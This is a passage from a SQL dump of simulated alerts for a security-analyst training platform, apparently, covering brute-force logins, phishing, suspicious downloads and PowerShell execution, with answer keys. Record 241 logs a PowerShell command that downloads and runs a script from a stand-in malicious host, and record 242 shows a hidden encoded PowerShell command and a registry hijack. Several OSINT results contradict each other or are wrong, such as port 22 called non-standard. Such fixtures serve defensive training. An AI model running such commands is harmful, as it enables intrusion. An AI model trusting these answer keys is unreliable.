ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:34:59Z\\\",\\\"event_id\\\":\\\"WEB-302\\\",\\\"user_id\\\":\\\"guest_user\\\",\\\"ip_address\\\":\\\"192.168.1.100\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/admin\\\",\\\"response_code\\\":403,\\\"message\\\":\\\"Access denied. User lacks permission for admin panel access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.811Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:34:59Z\\\",\\\"event_id\\\":\\\"WEB-302\\\",\\\"user_id\\\":\\\"guest_user\\\",\\\"ip_address\\\":\\\"192.168.1.100\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/admin\\\",\\\"response_code\\\":403,\\\"message\\\":\\\"Access denied. User lacks permission for admin panel access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.811Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:34:59Z\\\",\\\"event_id\\\":\\\"WEB-302\\\",\\\"user_id\\\":\\\"guest_user\\\",\\\"ip_address\\\":\\\"192.168.1.100\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/admin\\\",\\\"response_code\\\":403,\\\"message\\\":\\\"Access denied. User lacks permission for admin panel access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.811Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:34:59Z\\\",\\\"event_id\\\":\\\"WEB-302\\\",\\\"user_id\\\":\\\"guest_user\\\",\\\"ip_address\\\":\\\"192.168.1.100\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/admin\\\",\\\"response_code\\\":403,\\\"message\\\":\\\"Access denied. User lacks permission for admin panel access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.811Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:34:59Z\\\",\\\"event_id\\\":\\\"WEB-302\\\",\\\"user_id\\\":\\\"guest_user\\\",\\\"ip_address\\\":\\\"192.168.1.100\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/admin\\\",\\\"response_code\\\":403,\\\"message\\\":\\\"Access denied. User lacks permission for admin panel access.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(219, 'Suspicious File Download Detected', 'medium', 'network', 'A large file containing executable code was downloaded from an untrusted source.', 'malware_distribution', 'T1105', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-12T12:24:11Z\",\"event_id\":\"NET-917\",\"src_ip\":\"172.16.0.5\",\"dest_ip\":\"138.68.45.114\",\"protocol\":\"HTTP\",\"url\":\"http://suspicious-domain.com/malicious.exe\",\"file_size_bytes\":10485760,\"http_method\":\"GET\",\"status_code\":200,\"content_type\":\"application/x-msdownload\",\"message\":\"File downloaded from a blacklisted domain.\"}', '2025-12-23 18:34:09', '2026-02-17 22:33:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Network Analysis\",\"verdict\":\"internal\",\"details\":\"172.16.0.5 is a private/internal IP address (RFC 1918). This is an internal network address and cannot be looked up in external threat intelligence. Investigate internal logs for activity from this host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"138.68.45.114\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP 138.68.45.114 has 0% abuse confidence score. Located in corporate network range.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"suspicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"0/94 security vendors flagged this domain. Registered for 5+ years.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://suspicious-domain.com/malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan.io\",\"verdict\":\"clean\",\"details\":\"URL belongs to legitimate service with valid SSL certificate.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"unknown\",\"analysis_notes\":\"\"}', 'Beginner', 'EDR', 1, 0, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(220, 'Unusual Process Execution Detected', 'critical', 'process', 'A rarely used system utility was executed with suspicious command-line parameters.', 'execution', 'T1569.002', 0, 'closed', NULL, '{\"timestamp\":\"2023-10-12T08:45:22Z\",\"event_id\":\"PROC-401\",\"process_name\":\"wmic.exe\",\"cmdline\":\"wmic process get brief /format:list\",\"user_name\":\"local_user\",\"file_hash\":\"3d9f8714f786045de44f7286d534234a\",\"parent_process\":\"cmd.exe\",\"execution_path\":\"C:\\\\Windows\\\\System32\\\\wbem\\\\\",\"message\":\"WMI script executed, potentially collecting sensitive information.\"}', '2025-12-24 03:44:22', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"local_user\",\"is_critical\":null,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3d9f8714f786045de44f7286d534234a\",\"is_critical\":null,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"59/72 security vendors identified this file as malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wmic.exe\",\"is_critical\":null,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File exhibits behavior consistent with malware: persistence mechanisms, network callbacks, code injection.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"High/Critical severity level; Alert type indicates suspicious script execution\"}', 'Advanced', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(221, 'Phishing Email Detected', 'low', 'email', 'An email resembling a known trusted source was marked as phishing.', 'phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T11:13:47Z\",\"event_id\":\"EMAIL-203\",\"sender\":\"alerts@trustedsource.com\",\"recipient\":\"user@example.com\",\"subject\":\"Urgent: Account Verification Required!\",\"headers\":{\"from\":\"alerts@trustedsource.com\",\"to\":\"user@example.com\",\"subject\":\"Urgent: Account Verification Required!\",\"received\":\"from unknown (HELO trustedsource.com) (203.0.113.5)\"},\"attachment_name\":\"verify_account.html\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"message\":\"Email suspected of being a phishing attempt due to suspicious sending server.\"}', '2025-12-24 05:11:55', '2026-02-16 17:32:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@trustedsource.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"malicious\",\"details\":\"Sender domain is 3 days old and associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"user@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"malicious\",\"details\":\"Sender domain is 5 days old and associated with phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":null,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"60/72 security vendors identified this file as malware.\"}}],\"expected_actions\":[\"block_sender\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Alert type indicates phishing\"}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:18.815Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(222, 'Suspicious RDP Login Attempt from Unrecognized IP', 'high', 'Windows Security Log', 'An unexplained RDP login attempt was detected from an IP not previously associated with our infrastructure. This can indicate an account compromise attempt, which is a common precursor to a ransomware attack. Reference: Microsoft Security Response Center report on RDP exploitation (CVE-2019-0708).', 'Brute Force', 'T1110', 1, 'resolved', NULL, '{\"EventID\":4625,\"LogName\":\"Security\",\"SourceName\":\"Microsoft-Windows-Security-Auditing\",\"TimeGenerated\":\"2023-10-23T02:15:43.235Z\",\"EventDescription\":\"An account failed to log on.\",\"AccountName\":\"Unknown_user\",\"WorkstationName\":\"WIN-CORP-PC01\",\"IpAddress\":\"198.51.100.42\",\"IpPort\":\"3389\",\"LogonType\":\"10\",\"FailureReason\":\"Unknown user name or bad password.\",\"SubStatus\":\"0xC000006A\",\"ProcessName\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"TargetDomainName\":\"CORP\",\"TargetUserName\":\"unknown_user\",\"TargetDomainSid\":\"S-1-5-21-1234567890-2345678901-3456789012-1001\"}', '2025-12-24 05:00:06', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 198.51.100.42 reported 446 times for malicious activity. Abuse confidence score: 95%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"Unknown_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"unknown_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"is_critical\":null,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File exhibits behavior consistent with malware: persistence mechanisms, network callbacks, code injection.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"unknown\",\"analysis_notes\":\"High/Critical severity level\"}', 'Intermediate', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.816Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4625,\\\"LogName\\\":\\\"Security\\\",\\\"SourceName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeGenerated\\\":\\\"2023-10-23T02:15:43.235Z\\\",\\\"EventDescription\\\":\\\"An account failed to log on.\\\",\\\"AccountName\\\":\\\"Unknown_user\\\",\\\"WorkstationName\\\":\\\"WIN-CORP-PC01\\\",\\\"IpAddress\\\":\\\"198.51.100.42\\\",\\\"IpPort\\\":\\\"3389\\\",\\\"LogonType\\\":\\\"10\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password.\\\",\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"TargetDomainName\\\":\\\"CORP\\\",\\\"TargetUserName\\\":\\\"unknown_user\\\",\\\"TargetDomainSid\\\":\\\"S-1-5-21-1234567890-2345678901-3456789012-1001\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.816Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4625,\\\"LogName\\\":\\\"Security\\\",\\\"SourceName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeGenerated\\\":\\\"2023-10-23T02:15:43.235Z\\\",\\\"EventDescription\\\":\\\"An account failed to log on.\\\",\\\"AccountName\\\":\\\"Unknown_user\\\",\\\"WorkstationName\\\":\\\"WIN-CORP-PC01\\\",\\\"IpAddress\\\":\\\"198.51.100.42\\\",\\\"IpPort\\\":\\\"3389\\\",\\\"LogonType\\\":\\\"10\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password.\\\",\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"TargetDomainName\\\":\\\"CORP\\\",\\\"TargetUserName\\\":\\\"unknown_user\\\",\\\"TargetDomainSid\\\":\\\"S-1-5-21-1234567890-2345678901-3456789012-1001\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.816Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4625,\\\"LogName\\\":\\\"Security\\\",\\\"SourceName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeGenerated\\\":\\\"2023-10-23T02:15:43.235Z\\\",\\\"EventDescription\\\":\\\"An account failed to log on.\\\",\\\"AccountName\\\":\\\"Unknown_user\\\",\\\"WorkstationName\\\":\\\"WIN-CORP-PC01\\\",\\\"IpAddress\\\":\\\"198.51.100.42\\\",\\\"IpPort\\\":\\\"3389\\\",\\\"LogonType\\\":\\\"10\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password.\\\",\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"TargetDomainName\\\":\\\"CORP\\\",\\\"TargetUserName\\\":\\\"unknown_user\\\",\\\"TargetDomainSid\\\":\\\"S-1-5-21-1234567890-2345678901-3456789012-1001\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.816Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4625,\\\"LogName\\\":\\\"Security\\\",\\\"SourceName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeGenerated\\\":\\\"2023-10-23T02:15:43.235Z\\\",\\\"EventDescription\\\":\\\"An account failed to log on.\\\",\\\"AccountName\\\":\\\"Unknown_user\\\",\\\"WorkstationName\\\":\\\"WIN-CORP-PC01\\\",\\\"IpAddress\\\":\\\"198.51.100.42\\\",\\\"IpPort\\\":\\\"3389\\\",\\\"LogonType\\\":\\\"10\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password.\\\",\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"TargetDomainName\\\":\\\"CORP\\\",\\\"TargetUserName\\\":\\\"unknown_user\\\",\\\"TargetDomainSid\\\":\\\"S-1-5-21-1234567890-2345678901-3456789012-1001\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.816Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4625,\\\"LogName\\\":\\\"Security\\\",\\\"SourceName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeGenerated\\\":\\\"2023-10-23T02:15:43.235Z\\\",\\\"EventDescription\\\":\\\"An account failed to log on.\\\",\\\"AccountName\\\":\\\"Unknown_user\\\",\\\"WorkstationName\\\":\\\"WIN-CORP-PC01\\\",\\\"IpAddress\\\":\\\"198.51.100.42\\\",\\\"IpPort\\\":\\\"3389\\\",\\\"LogonType\\\":\\\"10\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password.\\\",\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"TargetDomainName\\\":\\\"CORP\\\",\\\"TargetUserName\\\":\\\"unknown_user\\\",\\\"TargetDomainSid\\\":\\\"S-1-5-21-1234567890-2345678901-3456789012-1001\\\"}\"}],\"query\":\"index=main source=\\\"Security\\\" | head 100\"}}', 0),
(223, 'Unauthorized Remote Access Attempt Detected', 'high', 'network', 'Multiple failed login attempts were detected from a foreign IP address attempting to access the SSH service.', 'Brute Force Attack', 'T1110', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-28T14:15:22Z\",\"src_ip\":\"203.0.113.42\",\"dest_ip\":\"192.168.1.20\",\"dest_port\":22,\"protocol\":\"TCP\",\"event_type\":\"connection_attempt\",\"login_attempts\":20,\"success_attempts\":0,\"usernames_tried\":[\"admin\",\"root\",\"test\"],\"geo_location\":\"Country: Unknown, Region: Unknown\",\"firewall_status\":\"BLOCKED\",\"alert_generated_by\":\"intrusion_detection_system\"}', '2025-12-24 05:59:21', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 203.0.113.42 reported 359 times for malicious activity. Abuse confidence score: 91%.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Network Analysis\",\"verdict\":\"internal\",\"details\":\"192.168.1.20 is a private/internal IP address (RFC 1918). This is an internal network address and cannot be looked up in external threat intelligence. Investigate internal logs for activity from this host.\"}},{\"id\":\"artifact_3\",\"type\":\"geolocation\",\"value\":\"Country: Unknown, Region: Unknown\",\"is_critical\":false,\"osint_result\":{\"source\":\"GeoIP Lookup\",\"verdict\":\"suspicious\",\"details\":\"Login from Country: Unknown, Region: Unknown - unusual location for this user\'s typical access pattern.\"}},{\"id\":\"artifact_4\",\"type\":\"port\",\"value\":\"22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Network Analysis\",\"verdict\":\"suspicious\",\"details\":\"Non-standard port 22 commonly used by malware for C2 communication.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High/Critical severity level; 20 failed login attempts detected\"}', 'Intermediate', 'NDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(240, 'Suspicious PowerShell Command Execution', 'medium', 'endpoint', 'A potentially malicious PowerShell script was executed on the endpoint. The script uses encoded command obfuscation techniques.', 'process', 'T1059.001', 0, 'Closed', 41, '{\"timestamp\":\"2023-10-10T14:32:58Z\",\"hostname\":\"Workstation-23\",\"username\":\"jane.doe\",\"process_name\":\"powershell.exe\",\"pid\":4567,\"parent_process\":\"explorer.exe\",\"ppid\":789,\"cmdline\":\"powershell.exe -NoProfile -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AYQBnAGs\",\"file_hash\":\"3f50f0a35cc9b36fc3f0e1f2b0cf3a78\",\"user_domain\":\"CORP\",\"integrity_level\":\"High\",\"command_length\":43}', '2025-12-27 05:37:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"242.96.134.59\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP 242.96.134.59 has 0% abuse confidence score. Located in corporate network range.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User accessed from known location during normal business hours. Activity consistent with role.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(241, 'Suspicious Command Execution Detected', 'medium', 'process', 'A suspicious command execution was detected involving base64 encoding of an unknown script.', 'Potential Obfuscation or Encoding', 'T1027 - Obfuscated Files or Information', 0, 'Closed', 41, '{\"timestamp\":\"2023-10-12T14:23:34Z\",\"hostname\":\"workstation-7F5D\",\"username\":\"j.doe\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell -NoProfile -Command Invoke-Expression (New-Object Net.WebClient).DownloadString(\'http://malicious.example/script\')\",\"file_hash\":\"sha256:d8a1c4cbf1e1367c2c6fd589v71c4c6f2b3d8e56ab60dcd526bfed9f2b68be23\",\"parent_process_name\":\"explorer.exe\",\"parent_pid\":1020,\"pid\":3284,\"event_id\":4688,\"event_message\":\"A new process has been created\"}', '2025-12-27 05:01:40', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"100.56.249.171\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 100.56.249.171 reported 173 times for malicious activity. Abuse confidence score: 93%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(242, 'Suspicious PowerShell Script Execution Detected', 'high', 'endpoint', 'A potentially malicious PowerShell script with obfuscated code has been executed on an endpoint.', 'Process Execution', 'T1059.001', 1, 'investigating', 225, '{\"timestamp\":\"2023-11-01T14:32:16Z\",\"hostname\":\"DESKTOP-7GTHB9K\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"process_id\":2678,\"cmdline\":\"powershell.exe -NoP -NonI -W Hidden -E JABzAHQAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGU... (truncated)\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"file_hash\":\"2B2B6D120897FBB5783C3F8DCF57DBBA\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":1744,\"network_activity\":{\"dest_ip\":\"192.168.1.10\",\"dest_port\":80},\"registry_modifications\":{\"key\":\"HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command\",\"value\":\"calc.exe\"}}', '2025-12-27 05:08:14', '2026-03-15 10:54:30', '{\"correct_verdict\":\"True Positive\",\"triage_answer\":\"Suspicious\",\"containment_answer\":\"Isolate 